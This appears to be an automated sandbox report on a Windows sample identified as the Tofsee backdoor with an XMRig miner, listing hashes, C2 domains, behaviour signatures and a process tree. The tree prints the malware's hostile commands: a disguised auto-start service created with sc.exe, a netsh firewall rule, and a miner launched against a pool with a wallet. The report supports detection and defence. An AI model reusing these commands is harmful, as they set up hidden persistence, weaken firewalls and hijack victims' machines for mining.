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Overview

overview

10

Static

static

1

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/02/2023, 08:09

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General

  • Target

    file.exe

  • Size

    305KB

  • MD5

    852de13db9455fd69afb25152d2bc190

  • SHA1

    6b4e8bf22a0b1ff29ad78177ffcfe6bfdc732987

  • SHA256

    ab513af96685a9154f2aed67e27d314bcc569e5189afd4cbadf8c2756aeffbd0

  • SHA512

    45d61be5a6dfba3f0208d4eb9aca17de4b4c95cbe518117230b65d88d59c83eef3c8852a4e4931ccbcf14996afc8f5e4bc3c85db17faceba1eabe19091f6f298

  • SSDEEP

    3072:8NGbtUZOLxKgai4DRqJapHyj/KCL2cXLFHKPC9sxA76ov3XpCYoMRKT:0tOLggaVIJBX/Xuk6oh

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gdbiopyv\
      2⤵
        PID:1032
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oumbgzq.exe" C:\Windows\SysWOW64\gdbiopyv\
        2⤵
          PID:1164
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gdbiopyv binPath= "C:\Windows\SysWOW64\gdbiopyv\oumbgzq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2192
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gdbiopyv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4548
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gdbiopyv
          2⤵
          • Launches sc.exe
          PID:4804
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2472
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 1044
          2⤵
          • Program crash
          PID:3928
      • C:\Windows\SysWOW64\gdbiopyv\oumbgzq.exe
        C:\Windows\SysWOW64\gdbiopyv\oumbgzq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3524
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 400
          2⤵
          • Program crash
          PID:2944
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4876 -ip 4876
        1⤵
          PID:3316
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4216 -ip 4216
          1⤵
            PID:364

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\oumbgzq.exe
            Filesize

            14.7MB

            MD5

            4637e35204227be46b3ddbafeb957bcd

            SHA1

            0cce3eae6e4b417ad2e4d3cd2b46956f3d25c866

            SHA256

            db48dfc7d4d4a5b0263e7dea8ee80510c83e121a01901157dd382a299273b5ad

            SHA512

            99839b0a5a5b139590182d45a21e680ec05d19527c515bc577a415d0c302a8d1afaa456bf0313c5826976e1aeda272400c1bc7db38a1426f323d1e26c197695b

            Download Submit

          • C:\Windows\SysWOW64\gdbiopyv\oumbgzq.exe
            Filesize

            14.7MB

            MD5

            4637e35204227be46b3ddbafeb957bcd

            SHA1

            0cce3eae6e4b417ad2e4d3cd2b46956f3d25c866

            SHA256

            db48dfc7d4d4a5b0263e7dea8ee80510c83e121a01901157dd382a299273b5ad

            SHA512

            99839b0a5a5b139590182d45a21e680ec05d19527c515bc577a415d0c302a8d1afaa456bf0313c5826976e1aeda272400c1bc7db38a1426f323d1e26c197695b

            Download Submit

          • memory/1524-157-0x0000000002170000-0x0000000002176000-memory.dmp

            Filesize

            24KB

            Download

          • memory/1524-152-0x0000000000E00000-0x0000000000E15000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1524-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/1524-160-0x0000000002180000-0x0000000002190000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1524-147-0x0000000000E00000-0x0000000000E15000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1524-153-0x0000000000E00000-0x0000000000E15000-memory.dmp

            Filesize

            84KB

            Download

          • memory/1524-169-0x00000000021E0000-0x00000000021E7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/1524-166-0x0000000007A00000-0x0000000007E0B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/1524-163-0x00000000021D0000-0x00000000021D5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/3524-173-0x00000000012F0000-0x00000000013E1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/3524-178-0x00000000012F0000-0x00000000013E1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/4216-150-0x00000000007A9000-0x00000000007BE000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4216-151-0x0000000000400000-0x0000000000467000-memory.dmp

            Filesize

            412KB

            Download

          • memory/4876-135-0x0000000000400000-0x0000000000467000-memory.dmp

            Filesize

            412KB

            Download

          • memory/4876-132-0x00000000004EF000-0x0000000000504000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4876-145-0x0000000000400000-0x0000000000467000-memory.dmp

            Filesize

            412KB

            Download

          • memory/4876-144-0x0000000002060000-0x0000000002073000-memory.dmp

            Filesize

            76KB

            Download

          • memory/4876-143-0x00000000004EF000-0x0000000000504000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4876-133-0x0000000002060000-0x0000000002073000-memory.dmp

            Filesize

            76KB

            Download